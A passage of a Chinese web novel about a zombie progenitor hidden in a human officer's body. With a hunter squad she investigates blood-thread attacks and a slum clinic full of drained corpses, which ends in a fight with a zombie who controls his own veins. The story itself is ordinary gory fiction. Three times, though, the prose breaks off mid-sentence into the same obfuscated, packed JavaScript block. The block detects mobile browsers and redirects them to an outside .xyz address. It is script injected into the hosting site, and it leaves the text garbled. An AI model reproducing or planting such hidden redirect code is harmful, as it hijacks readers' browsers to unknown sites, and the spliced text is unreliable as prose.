悬浮车飞得不算高,玻璃窗外是永恒的人造黑夜和绚烂灯光,巨大的穹顶在更高处若隐若现。
蚩蓠调整义眼,切换到望远模式,穹顶内部的钢结构清晰可见,但穹顶之外只有一片混沌的暗影,巨大得不合常理,暗影缓慢地蠕动并撞击着透明的屏障,发出沉闷而规律的震动。
“外面……那是什么?”蚩蓠忍不住问。
舒厌原本在查看膝上的智脑,闻言抬起头,顺着她的目光看了眼窗外。
“一些被挡在外面的东西,怎么,寒黎小姐对穹顶之外产生兴趣了?以前你可从不关心城防的事。”
又来了!每句话都在给她下套。
问他什么东西挡在外面,他说那是挡在外面的东西,解释个寂寞啊。
“以前不看,是因为眼中只有您啊~现在嘛……”蚩蓠拖长了调子,幽怨地说,“反正您也不舍得瞧我,我自讨没趣久了,偶尔也想看看别的风景咯。”
似乎被她强词夺理惹烦了,舒厌懒得再绕圈子,直接点破:“寒黎,你要是真想知道外头是什么的话,可以直接问智脑,嗯?你该不会不懂用吧?难道说,你和青魇一样,都是跟不上时代的老古董?”
蚩蓠才没有那么容易被激怒,她从善如流,举手敬礼,语气夸张:“长官教训的是!我马上就用。”
她低下头,开始认真研究手腕上的智脑,这小东西果然奇妙,意识微动,眼前便展开一片光怪陆离的全息投影界面。
海量信息喷涌而出,各种报告标题几乎占满了一平方米的虚拟空间,其中最醒目的地方写着:《城防部加急简报:穹顶外侧异常能量读数分析报告》。
「是否使用速读功能?」智脑贴心提示。
蚩蓠毫不犹豫点了「是」。
下一秒,纷繁杂乱的信息像一张张卡片,具像化地跳回蚩蓠脑内,视线前方也随之一空。
她不太像被动习得这些内容,更像是什么人把一桶水直接灌进了她脑子里,混乱不清了一小会儿,突然神智清明,继而条理清晰,无所不知起来。
这种体会过于可怕,知识和信息的获取不再需要费时费力,只需要按一个「是」,脑子里就已
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247977|181112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经沉淀好几百几千年的答案了。
蚩蓠觉得自己果然是个老古董,有点适应不来,甚至因为信息爆炸恶心想吐。
她忍住不适,咀嚼着智脑强喂给她的答案。
「核心摘要:城防部多次检测到超高强度,未知性质的生物能量信号,于穹顶外壁持续游荡。」
「信号特征:与已知僵尸始祖蚩蓠能量频谱存在高度相似性波动。」
「威胁评估:极高。建议启动一级戒备。未知信号曾于多个监测站留下同一段破损音频,内容如下……」
蚩蓠脸色煞白。
那带着扭曲笑意的女声,伴随着强烈的干扰噪音,在她耳边低吟。
“……姐姐……我闻到你的臭味了……”
“……躲了这么久……好玩吗……”
“……把这龟壳撬开……记得……好好谢谢我……”
声音断断续续,每一个字都带着刻骨的怨毒和疯狂,与她记忆中那个危险的名字彻底重合。
夜璃!
她也被解封了吗?!而且人就在穹顶之外?!
巨大的惊悸如同冰锥刺穿脊柱,让她背皮发麻。
蚩蓠指甲几乎扎入掌心,她能感觉到属于寒黎的心脏在狂乱地跳动,血液冲刷着耳膜,发出轰鸣。
这种感觉与再次看到舒厌和青魇完全不同,那是真正深入骨髓的恐惧与自责。
她极力控制着面部肌肉,不让一丝一毫的情绪泄露,但苍白的脸色已然暴露所有。
舒厌观察着她的反应,看到她神情变化,才淡淡开口,语气里听不出情绪:“现在知道了?看来还记得怎么调内部文件。”
他没有点破她。
就在这时,“嘟嘟——”
车载系统突然发出急促的通讯请求提示音,一个面容干净却带着浓重黑眼圈,气质忧郁的男人头像投影在车内,下方标注着名字「江恨白」。
他看起来疲惫不堪,像是连续加班了一个月。
“领导,”江恨白声音有气无力,“F-9区发现大量建筑物被血丝缠绕,疑似僵尸暴动,喻主任让我务必请求您即刻前往处理。”
舒厌本想把这次撤职当做休假,结果还没来得及躺尸放松,又要出任务了,他语气冷了几分:“我被撤职了,不用叫我’领导‘,一切听从喻主任指示就好。”
江恨白却像个没有感情不懂绕弯的传话机器,班味极重,重复道:“好的,领导。喻主任说了,‘请求您即刻前往处理’,这就是她的指示。”
话音未落,通讯已经挂断,干脆利落得简直能让人吐槽一句“没礼貌”。
悬浮车系统音随即响起:“指令确认。已为您自动切换目的地至F-9区,最优路径计算完毕,请坐稳扶好,预计十分钟后抵达。”
下一秒,悬浮汽车急速转向,引擎发出低沉轰鸣,然后以常人肉眼几乎无法捕捉的速度,在空中撕开一道伤口,朝着城市外环的混乱街区疾驰而去。
车窗外的景象飞速流变,蚩蓠的心跳再次加速。
要知道,多年以前,夜璃最臭名昭著的行为之一,就是用血丝残忍地戏弄他人。
她曾把一个看不惯的人周身血液抽空,像玩红绒毛线一般,将他体内长达十余公里的血管,缠绕在最醒目的建筑物上。
末了,她总是要问一句:“姐姐,好看吗?”
10.血丝操控①
蚩蓠的第一个念头是,夜璃回来了。
这太像她一贯的风格,故意制造引人注目的混乱,好把蚩蓠吸引过来。
她以前总是这样,像个永远长不大的孩子,肆无忌惮地捅出一个又一个篓子,然后带着天真又残忍的笑意,躲在一旁,看蚩蓠这个姐姐不得不一次次为她收拾残局。
直到那一天。
夜璃践踏了绝不可触碰的底线,犯下了就算是蚩蓠也无可弥补的大错,累积的失望与愤怒终于冲垮了蚩蓠最后的纵容,她再也忍无可忍,当猎人的围捕网铺天盖地落下时,蚩蓠选择了冷眼旁观。
她记得自己转过身,逃避了夜璃最后那道混杂着震惊、哀求与最终化为刻骨怨恨的目光。
于是,夜璃先她一步,被永远封入了冰冷的黑暗。
是了……既然她蚩蓠的意识能从亘古的封印中挣扎苏醒,那么夜璃,那个偏执到癫狂的夜璃,又怎会甘心永眠?
她们或许同样受困于未被彻底解封的躯壳,但蚩蓠比谁都清楚,只要夜璃的意识有一丝挣脱的可能,哪怕跨越千年,她也一定会回来。
回来找她算账。
该来的,终究躲不过。
……
十分钟后,悬浮车碾过F-9区污浊的空气,稳稳停下。
车门无声滑开,蚩蓠先一步跃下,动作流畅地转身,假意恭谨地做了个“请”的姿势,将舒厌迎下车。
早早站在停机坪旁等待的江恨白,形象与全息影像中别无二致,制服几天没洗,皱得像咸菜干,衣领软塌塌地卷着边,脸上挂着一副“这破班谁爱上谁上”的生无可恋。
蚩蓠下意识想回以一个“我懂你”的苦笑。
可想到原主寒黎,一个多么骄傲冷酷无视底层百姓的人,除了心心念念想要搞到的“器大活好绝世美男”,大概率对任何人看不上眼,又怎么会对江恨白流露半分共情。
蚩蓠瞬间收敛表情,用看蚂蚁的眼神,轻飘飘掠过江恨白。
江恨白对此毫无反应,依旧那副死气沉沉的模样,开始一板一眼地汇报:“领导,血丝污染已蔓延至F-9区第三主干道,猎尸二队本次出队18人,全部集结完毕,第二、三、四主干道及周边区域已全部封锁。
“经无人机与天网协同侦查,共发现153名僵尸趁乱暴动,其中117名集中分布在鸽笼巷,剩余36名流窜至第三主干道,分散潜入周围十余条街巷。
“未被波及的民众已紧急疏散至F区街道,详细数据已同步到您的智脑,还请指示下一步行动。”
舒厌:“喻主任他……”
“喻主任没来,”江恨白秒答,“他指示我,完全遵循您的现场指挥。”
舒厌:“……”
作为尸祖,听他们分析血丝控制和僵尸暴动的处理方案,怎么围捕自己的“小弟小妹”,蚩蓠觉得很是新奇。
江恨白继续说:“近几个月比较少发生大规模僵尸暴动,如果这153名僵尸全都是低阶僵尸,按照《猎尸队现场执法指引实施细则》,低阶僵尸生产的尸毒非常少,可以转化的血晶能源极其有限,大部分都不能抵消净化反应堆自身的耗电,直接通过无人机击毙即可。
“但目前还无法排除其中是否混有高阶僵尸的可能性,我们只能尽量‘活捉’,如果错杀高阶僵尸,按照喻主任的说法,会进一步浪费不夜穹隆的潜在能源储备。”
舒厌面无表情:“直接击毙。真正的高阶僵尸早就觉醒异能了,要是能被无人机轻松解决,本身也贡献不了多少能源。”
“是,”江恨白无奈地叹了口气,终于带了点活人气,“但喻主任已经否决了无人机无差别击毙的方案,他坚持活捉全部僵尸。领导,我只是个传话的小喽啰,我说话没用,要不……您亲自跟他沟通一下?”
舒厌摆摆手:“不用管他,按《猎尸队现场执法指引实施细则》办事,全部击毙。”
说完言行不一地用智脑疯狂输出起来。
一分钟后,他抬起头,脸上带着微不可查的愠怒,疲惫地说:“按照喻主任说的办。”
江恨白一脸“我就知道会这样”的绝望。
蚩蓠则乖巧认真地点点头,心里却乐开了花,看舒厌在职场吃瘪,真是今日份最佳娱乐,自从意识清醒后,还是第一次这么舒坦。
即使行动再怎么紧急,时间再怎么紧迫,只要高贵的外行领导喻主任有任何困惑,舒厌和江恨白都得将喻风的白痴问题视为第一优先级进行解答。
有趣,实在太有趣了。
江恨白还不死心:“F区人口密度很大,鸽笼巷虽然只有两栋楼,但至少居住了上万人,如果不把僵尸全部击毙,整个行动的时间将会极大地拉长,非常有可能增加普通群众被大量感染的风险。领导,我们……唉。”
舒厌调取监控,启动智脑「速读」功能,瞬间将几十个T的监控影像吃进了脑子里,整个人没有表现出任何不适,只是眼神锐利了几分。
“情况不对,这里面有古怪。”他沉声道,“通常人类被咬死亡之后,异变时间从一分钟到一小时不等,F区人流密集,刚刚异变的僵尸极不稳定,有大量机会接触到新鲜血液,但根据你提供的影像,从一小时前开始截止到现在,僵尸的数量没有任何增加,这非常不合理。你应该也注意到了吧?”
江恨白怨气冲天的表情终于有了一丝变化,出于职业本能,他重新「速读」了一遍关键监控,神色也跟着凝重起来:“这点我疏忽了,实际上不光数量没有增加,这153名僵尸甚至没有任何吸血行为。”
舒厌摩挲下颌,“这就有意思了。尸化特征明显,却没有吸血行为……”他冷不丁将话头甩向蚩蓠,“寒黎,这个你擅长,你确认一下。”
那潜台词差点没把蚩蓠惊出冷汗。
“我?擅长?”蚩蓠无语,忍着恶心也吞掉了几十个T,“吃完”差点没吐出来,脸色泛青道:“长官,我不太确定。”
她不是故意骗舒厌,这些僵尸确有古怪,与她认知中由她或她的族裔转化的传统僵尸有所不同。
它们更像是一种游离在人与僵尸之间的诡异存在。
“说实话,”她指向共享虚拟屏上定格的某个画面,“虽然监控系统显示这些僵尸已经没有生命体征,但是他们是不是真的死了,得打个问号。”
“你们看这个,”她放大其中一个僵尸的影像,它
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277471|181112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
旁边有个被吓得瑟瑟发抖的小女孩,“正常异变不久的僵尸几乎毫无理智,不可能忍住不攻击这样的‘鲜肉’。但是它手里的东西……放大看,很奇怪吧,是一瓶营养剂,他交给了那个瘦巴巴的小女孩。能查到他们的关系吗?”
江恨白:“F区大部分民众都没有录入人脸识别系统,暂时无法锁定具体身份和社会关系。”
舒厌听到“鲜肉”这个词的时候,古怪地扯了一下嘴角,他下令:“既然初步判断传染性可控,那我们就伪装成‘鲜肉’,去里面看看吧。”
……
三人很快到达鸽笼巷巷口。
与其说是条巷子,不如说是一个巨大的“V”形死胡同,被两栋畸形挤压的摩天楼夹在中间。
楼体窄得惊人,宽不过十米,却疯狂向上生长了数百米,密密麻麻的窗户如同蜂巢,又像停尸间抽屉里的一口口棺材。
此刻,无数血红色的粘稠丝状物缠绕包裹着这些格子窗户,浓稠的血液正顺着玻璃不断滑落,将所经之处染成一片触目惊心的红,几乎完全阻挡了视线。
真不知道里头住着的人看到这幅炼狱景象,内心该有多崩溃。
跟蚩蓠记忆中的僵尸暴动截然不同,楼下二十几头僵尸聚在一起,没有张牙舞爪,也没有见人就啃,更像是在抗议什么。
甚至有四头僵尸混在一群看热闹的人中间,围着一个棋盘。
下棋的两个大爷过于全神贯注,完全没注意身边的观棋者肤色青灰,将象棋砸在大理石板上咵咵响:“老子这招叫瞒天过海,下一步就将死你!”
周围看客比下棋的还激动,十几个看棋的,唾沫横飞,骂得一个比一个狠,一个比一个脏,完全没注意周围的异样。
看客里,有两个僵尸格外惹眼,在外围一蹦三米高,每蹦一次就要哑着嗓子喊一句:
“过河界了!煞笔!”
“守住中线!别露腚!”
“炮二进一!吃他几把!”
异变没多久的低阶僵尸嗓子都不太好,哑得厉害,偏偏跳得最高,喊得最凶,骂得最脏,惹恼了其中一名棋手老头。
气得那老头把吃掉的「炮」朝僵尸脸上一砸,那棋子不偏不倚,正好被僵尸探出的尖牙“咔”地衔住。
直到这时,周围的人才后知后觉地发现异常。
大家不看不知道,一看死了的心都有,感觉天都塌了,跑都不知道该往哪里跑。
刚才还吵吵嚷嚷的巷口,除了那二十几个僵尸,活人几乎全跑没影了。
江恨白逮住从棋局中惊慌失措乱窜出来的男人,问:“这些僵尸哪儿来的?”
那人被吓得语无伦次:“我哪知道?!我看棋看得好好的,突然有个僵尸拍我肩膀,吓死个人了!”
他挣扎着想甩开江恨白的手,见三人衣着普通,不像联邦官员,顿时来了气:“你们几个装什么逼,都是穷鬼,又不是联邦吃狗粮的,问那么多干嘛!快松手,想死别拉我垫背!”
江恨白被骂得脸一红,放开对方手。
就在这时,一个有些熟悉的声音,突兀地从那堆僵尸群里穿了出来:
“你们……在哪里献的血?”
11.血丝操控②
说话的人蚩蓠见过,是献血大厅里拒绝献血的女孩,名叫小童。
这姑娘胆子大得很,丝毫不害怕周围是随时可能咬自己一口的怪物。
她个子矮小,刚刚异化的僵尸体型会膨大一些,行为不太受控,走一步蹦三下,旋转跳跃闭眼都是常有的事。
可她在这样一群僵尸堆里头,居然如入无人之境,那群低阶僵尸脑子本来就不灵光,二十几个挤作一团,愣是没发现队伍里混进了一个鲜活血肉。
“喂!”小童提高嗓门,在一片咯咯嗬嗬声中格外刺耳,“你们吵吵半天,有没有人能告诉我,到底在哪儿献血?!”
她几乎是吼出来的:“我也要献!”
总算有个僵尸迟钝地扭过头,喉咙里咕噜作响,含混抱怨说:“献、献、献什么献!诊所骗人!说好400毫升换15克血晶,结果等我们献完,又说质量不合格,只能给10克。无良奸商!说话不算数,算账!找他们算账!”
“对!我们去找诊所算账!”
“一定要拿回15克血晶!”
“走走走!”
僵尸们群情激愤,挥舞着僵直的手臂,“嗷嗷嗷”地乱叫,场面混乱又滑稽得很。
小童眼珠一转,立刻明白了,僵尸们这是要去找诊所麻烦,她缩了缩身子,像条滑不溜秋的小鱼,紧紧黏在僵尸队伍旁边,打算跟到底。
后方,三人交换了个眼神。
联邦强制民众每月献血200毫升,但只提供5克血晶的补偿,刚够鸽笼巷那样大小的房屋一个月的用电,根本不是宣传标语所说的只需要1克血晶。
私人诊所就是钻这个空子,用高价诱惑这些活不下去的穷人,让他们在200毫升定额之外再偷偷卖血。
僵尸得了血源,穷人拿了血晶,看似双赢,实则敲骨吸髓,200毫升定额看似不多,但月月如此,会对民众身体造成严重负担,长期以往贫血衰弱而亡的不在少数,更别提超出定额必然加速透支,当场晕厥甚至是死亡的,也并不少见。
更黑的是,诊所十有八九会克扣,这些底层贱民投诉无门,闹大了,先进局子的却不是诊所,而是他们自己。
眼前这群半人半尸的怪物,显然就是被坑惨了的“客户”。
蚩蓠率先走上前,故意怯生生地搭话:“小姑娘,你问的那地方,真能拿到更多血晶?”
三人都做了伪装,覆了人造假皮,小童没立刻认出,但那双眼睛却犀利得惊人。
她上下扫了蚩蓠一眼,脆生生道:“你们不是真穷鬼吧?”
蚩蓠:……
“衣服旧,但也太干净了。肤色黄,却没有一点饿过的样子,脸上肉还挺多,手臂……”目光扫过蚩蓠光滑的小臂,“连个蚊子包都没有,你们是上面来调查的吧?”
她三言两语就将一行人身份说破,实在过于敏锐了。
江恨白下意识摊开手,露出旧疤:“这不是吗?我们三以前确实有点小钱,但是前阵子做生意破产了,也干了不少苦力,可惜赚的血晶还不够赔利息,所以只能从D区跑过来逃债了,刚刚那位僵……尸兄说,这里卖400毫升血可以换15克血晶?”
他手臂内侧伤疤纵横,但疤痕颜色已经比较浅了,显然不是最近才有的。
作为能源控制署的正编员工,猎尸队二组组长,江恨白全身没有做任何机械化改造,可就连这种明显的疤痕都不舍得出钱修补,属实过分节约了。
小童根本不信,无所谓地撇嘴:“就算你们是联邦的走狗,只要不耽误我献血拿血晶,可以跟着我走。”
江恨白:“呵呵,我们真不是……”
小童打断他:“走吧,我们一起跟着僵……尸兄走。”
她故意拖长音,学江恨白刚才别扭的称呼,眼里闪过一丝不符合年龄的嘲弄。
江恨白热络拉拢的眼神立马冷了下来。
他出身贫民窟,是咬着牙从尸山血海里爬进猎尸队的,嘴上虽抱怨不少,可只要一有加班的机会,他总是第一个举手报名。
表里不一的努力。
他必须合群,周围同事都出身良好,随时有可进可退的余地,他附和着装模作样抱怨甚至偷懒,别人便以为他也有退路,不至于看不上他,也不至于把所有担子推到他头上,知道他也有傲气,也会拒绝。
实际上,他比谁都努力,不停地熬通宵,不过是为了多挣几克血晶养家糊口,他妻子生的八胞胎,只活下来四个,另外四个,三年前死在了僵尸嘴下。
后来,他拼了命,复了仇,当上了组长,骨子里终于把自己和这些“贱民”割裂开了。
他虽然还叫做江恨白,却已经不是从前那个江恨白了。
所以哪怕只是伪装成穷人的样子,哪怕曾经真的是个穷鬼,他也不允许别人嘲讽他,揭穿他。
江恨白收敛住眸中冷色,再不说话。
……
四人默默尾随躁动的僵尸们,深入鸽笼巷地下。
不夜穹窿原本因为尸祖的存在,能源还算充沛,但尸祖被抢后,联邦收紧能源分配,人造白天调暗了30%的光线。
F区作为相对边缘的区域,能源供给本来就跟不上需求,光线明显比能源控制署所在的中心城区暗淡不少。
但鸽笼巷这么一个典型的贫民窟小区,其地下区域却光线充沛,亮如正午。
一时将进去的几人刺得睁不开眼,更别提那些想来闹事的僵尸们,他们本就畏光迟钝,发出一阵不安的骚动,有好几个已经打起了退堂鼓。
鸽笼巷地上是蜂巢般的棺材房,地下则是迷宫般的商铺层,经历僵尸闹事后,大多铺面紧闭,死气沉沉。
蚩蓠半眯着眼,跟着大部队弯弯绕绕好一阵后,终于在偌大的地下区域一个不起眼的角落,找到了这家私人诊所。
牌匾底下的广告牌镶着一盏十字形霓虹灯,诡异地转着圈,横平竖直的残影追逐着新的“十”字,看得人头晕目眩。
“有意思。”舒厌的声音极低,几乎只有身侧的蚩蓠能听见,“地上商铺十室九空,这地下诊所的能源供给倒比署里还稳定。”
他的目光扫过那些过分明亮的灯管,像是在评估着什么。
“而且,长官,这里的味道,很不一般。”蚩蓠眼睛微眯,低声回应。
她对血液的浓度有着远超常人的感知,那是一种类似捕猎者的本能。
越靠近诊所,浓稠的铁锈味就刺鼻,血腥不是来自带路的低等僵尸,而且似乎已经弥散在空气中很久了。
这里绝对是血丝的来源地。
舒厌侧眸看了她一眼,眼神难以捉摸,却没有反驳,只是例行公事说:“保持警惕。”
无语的是,那几个带头的高大僵尸竟在门口犹豫不决起来,它们你看看我,我看看你,最后居然有些怯生生地抬手,相当礼貌地敲了敲玻璃门。
听到里面传来一声懒洋洋的“进来”,才敢推门而入。
乌泱泱一群“尸”挤进不到十平米的接待区,前台的姑娘头都不抬,还在笑嘻嘻地盯着智脑屏幕,语气相当不耐烦:
“到旁边取号机排队,过号了不能插队,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284501|181112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要重新排。”
领头的僵尸们面面相觑,张了张嘴,却没一个敢出声质问,刚才一路叫嚣的算账气势,早就影都不见了。
小童毫不客气地挤开它们:“让开!”
她个子小,气势却足,那群“尸高马大”的玩意儿竟真的瑟缩着退开了。
她猛地一巴掌拍在前台,响声清脆:“我要献血!”
前台姑娘被一个激灵吓住,刚想骂,抬头对上小童身后一群面色青灰的僵尸,顿时脸一白,吓得一屁.股跌坐回椅子上。
“献、献血就排队啊……”她声音发颤,眼睛根本不看小童,只惊恐地瞟向她身后。
“我们不是来献血的。”后头有个僵尸见状似乎获得了一些勇气,“你们老板说好给15克血晶,我们只收到了10克,得、得补。”
“对,我们不是来闹事的,”另一个小声补充,“我们只是来要那个……尾款的,那5克血晶而已……”
前台姑娘虽然害怕僵尸,但也没见过这么窝囊的,胆子壮了,挺直腰板道:“找老板?他不在!每周日才过来一趟,时间不一定,你们到时候再来吧。”
那几个僵尸瞬间有些气馁,萎缩成一团,黏黏糊糊地说:“今天才周二呢,要等那么久啊?那他周日几点来?我们、我们早点来等。”
前台没好气地说:“跟你们这群没文化的人打交道真费劲,我刚才不是都说了么,时间不一定!想找他就早点来等。”
那群僵尸唯唯诺诺,低声咕哝了一阵,最终还是垂头丧气,你推我搡地溜了。
诊所等候区霎时空旷,只剩小童四人。
“我前面还有三十八个人在排队,”蚩蓠扬了扬手中号码牌,视线扫过四周,压低声音朝三人说,“人呢?难道都在里面隔间?这血味……”
江恨白接过她的话:“这血味浓得都快让人吐出来了,这里根本不像个抽血的地方。”
“像刚宰完牲口的屠宰场吧。”小童又流露出那种嘲讽的表情。
“三十七个人……”舒厌的视线也从他手中的号码牌上抬起,扫过几排塑料椅的等候区,“这里的生意不错嘛。”
小童略显焦急,又是一巴掌拍在台上:“我要献血!”
前台又被吓得一愣:“不是说了要排——”
不等前台说完,小童斩钉截铁打断她:“我要献光全身的血!让我优先!”
那前台姑娘张着嘴,似乎想呵斥小童的无理取闹,喉咙里却突然发出一连串像是被浓痰堵住的“咯咯”声。
她本就灰黄的肤色进一步暗沉,蛛网般青黑色的血管从脖颈向上蔓延,很快布满了下颌和两侧太阳穴。
那双总是带着不耐烦的眼睛,直勾勾地瞪着前方,彻底失去了焦点。
“呃……呃……”
前台姑娘异化的程度显然比讨薪的僵尸高得多。
见状,舒厌按下手臂臂环上一个隐藏的按钮,等候区角落的监控视频闪烁两下,旋即恢复正常。
这是联邦特制的监控模拟器,专门用来破坏监控显示,再生成一段看似正常的画面。
“时间不多了,进去!”舒厌下达指令。
江恨白从腰间装备带中抽出一张红金描边、写着“镇压”二字的黄符,贴到正欲阻拦的前台额前。
黄符触肤,发出一圈符文光晕,前台姑娘断电般僵直,硬挺挺地向后倒去。
与此同时,舒厌肩部发力,撞开内侧的合金门,一股浓稠得近乎凝成实质的血腥味,混合着消毒液与臭氧的刺鼻气味,再也遮掩不住,扑面而来……
12.血丝操控③
诊所内部的光线比接待区更刺眼,惨白的灯光从天花板直射下来,把蚩蓠胳膊上极细极软的绒毛都照得根根分明。
早在献血大厅蚩蓠就发现了,不夜穹隆虽然都用人造日光,但也尽可能模拟了阳光的成分,这家诊所内部也不例外,想来应当是防御僵尸的普遍做法,毕竟诊所里头储存着这么多血袋。
可惜,这些日光只对低阶僵尸有用,要是遇上高阶僵尸,恐怕连皮毛都伤不着,更别提蚩蓠顶着寒黎的皮囊,她的表现与常人无异。
地上粘腻不堪,几人才刚踏进去一步,就能感觉到鞋底与半干涸液体粘连又分离的不适感。
“这地方……简直就是地狱。”江恨白下意识抬脚,却发现根本没有干净的落脚点。
确实。
原本用来放置抽血设施的操作台,被喷射状的暗红色污渍涂满,有些已经干涸发黑,有些却还透着新鲜的湿润。
两个负责抽血的护士倒在台面,整张脸浸泡在血水中,眉毛和发梢上的血珠都已经凝固。
最叫人毛骨悚然的是,前面排号的三十几人以各种扭曲的姿势倒在地面,他们的身体干瘪得可怕,一层薄薄的皮肤紧贴骨骼,仿佛被什么力量从内部抽空了所有。
这些人的眼睛惊恐地圆睁着,嘴巴张大到人类下颌骨所能允许的极限,定格在生命最后一刻的极致恐惧中。
“妈妈,妈妈!你在哪里?”小童撞开舒厌,扑在地上一个个翻查,那些尸体的脸颊在生前本就因饥饿而凹陷,流失了全身血液后,更是骤缩得厉害,在颧骨下形成大大的碗状凹坑,除了头发和衣着不同,几乎与骷髅架子无异,哪里分得清谁是谁。
不少尸体堆叠在一起,小童用力拉扯,试图将他们的脑袋掰正,看清他们的脸,可以她纤薄的身体,只能一具具一点点挪动。
才过了一小会儿,小童已是全身湿透,她嘴里发出含混不清的呜呜声:“全都……变成干尸了,妈……你到底在哪里?”
地上蜿蜒爬行的血丝,仿佛真菌在加速镜头中的繁殖,汇聚成一根根粗壮虬结的藤条,朝大门方向匍匐前行。
蚩蓠蹲下.身,检查一具离她最近的尸体:“没有明显外伤,血液是从内部被直接抽走的。”
舒厌手指轻轻拂过其中一个护士的颈部,赞同道:“嗯,这里毛细血管破裂,但皮肤完整,未见咬痕。”
小童继续翻找,她抹掉眼泪,眼神却异常坚定,她四处张望:“妈妈的味道很浓,她一定在这里。”
突然,地上粗壮的血丝汇集而成的枝条开始从门口向屋内收缩后退,一阵细微的响动传来,四人立刻警觉地转向门口。
一个高大的身影踩在横卧在地碍事的前台身上,“咔嚓”一声脆响,仿佛枯枝断裂的声音,那前台姑娘居然被来者硬生生踩成了两半。
那是个年约六七十岁的男子,还穿着病号服,他面色青灰,眼睛有些外斜,嘴角还残留着新鲜的血迹。
“外公?”小童不确定地叫出声。
郑有德转头看向小童,眼里闪过一丝诡谲的光亮,“陈小童?你怎么会在这里?”他的声音沙哑得像是喝过硫酸,“快离开这里,不安全。”
郑有德嘴上说着关心的话,身体却呈现出进攻的姿势,肌肉紧绷,指尖微颤,头颈前倾。
那是典型的僵尸狩猎动作。
“外公,你看到我妈妈了吗?”小童急切地问,可看到对方不自然的举动,还是小心翼翼地没有往前,反而后退了半步。
郑有德环顾一圈,发觉另外三人不过只是普普通通的穷鬼,他自觉没什么好遮掩,送上门来的鲜肉,不要白不要,表情瞬间狰狞起来:
“看见了呀,你妈妈跑得可真快,嘿……嘿嘿……乖孙,这么久不见外公,就不想跟外公多亲近亲近吗?”
小童听着不对劲又往后退了几大步,诊所内部虽比外头候诊区大一倍,可大部分空间都被横七竖八的干尸占满了,她才退了几步,就已经背靠墙体退无可退了。
蚩蓠想要出手,她既然救过小童一次,再救一次自然顺理成章,但看到舒厌已经行动,她站直身子,恢复了那副看戏的表情。
舒厌几乎在郑有德动身的刹那就已经挡在小童面前,他手臂上的护盾展开,迎上郑有德的扑击。
“砰”的一声闷响,郑有德被震退数步。
“退后!”舒厌低吼一声,另一只手已经从腰间拔出那把特制的桃木手.枪。
子弹入体,郑有德的身体不断震颤,皮肤下仿佛有无数虫子在蠕动,肌肉不正常地膨胀,指甲变长变黑好几寸,牙齿尖锐得与捕猎动物无异。
“小心,他完全尸化了。”江恨白布下几道符咒在四周,形成一道简易的防护屏障。
郑有德再次发起攻击,这次他的速度更快,力量也更惊人,舒厌与之缠斗在一起,桃木子弹近距离击中郑有德的身体,发出爆裂的啪啪声。
“没用的,”郑有德未见丝毫痛苦,反而得意地笑着,“我和那些低等货色不一样,我可是很特别的,你知道吗?!我是天选之人!”
蚩蓠眯起眼睛,她那双仿佛可以透视生命的红眸悄无声息地亮起,郑有德体内原本规则排布的血管居然自行挪动,巧妙避开了每一颗射.入其中的子弹。
“血丝操控。”蚩蓠提醒道,“长官,他是异能僵尸,可以随意挪动身体的血管,不要浪费子弹。”
“艹!你找死!”郑有德恶狠狠瞪向蚩蓠,突然改变方向,以惊人的速度扑向她。
蚩蓠侧身闪避,她看似慌不择路地从一旁器械台上抄起一把手术刀,举起来毫无章法地胡乱挥舞,甚至还带着哭腔尖声乱叫:“不要不要,你不要过来!啊啊啊!”
她手腕一抖,刀锋精准地划向郑有德的手腕。
他腕部动脉处瞬息出现一道极深的伤口,郑有德甚至没能操控体内的血管重新排布,黑红色的血液就已经渗了出来。
他惨叫一声,更加狂暴地攻向蚩蓠,在同一时间,舒厌抓住机会,一连三发桃木子弹射.入郑有德刚才被划伤的部位。
“呃啊!”郑有德大叫,伤口处冒出阵阵黑烟,他后知后觉地看着三人,“我懂了,你们是联邦走狗!”
“是又怎么样?地上的人都是你干的?”舒厌收起桃木手.枪,切换成电弧等离子枪,企图用高压电流制服郑有德。
郑有德来回闪避,速度快得惊人,他甚至还有空跟舒厌闲聊:“不是我干的,不过嘛,我知道是谁干的!长官,你想知道?嘿嘿,求我啊,求我我就告诉你。”
他不断往蚩蓠的方向前行,江恨白挡在蚩蓠前方,郑有德刚想先解决江恨白,却突然停下脚步,无不吃惊地说:“你,我好像见过你……”
他歪着头,边闪避舒厌的攻击,边端详江恨白,他脑袋发出诡异的“咔咔”声:“不,你们不是同一个人,但是他和你长得一模一样。”
江恨白霎时脸色铁青。
郑有德咧开一个可怕的笑容:“实验室有个和你一样的家伙,就在我隔壁床,被绑得死死的,整天在我耳边尖叫,哈哈哈,我最喜欢听他叫了,他越叫,我越兴奋……”
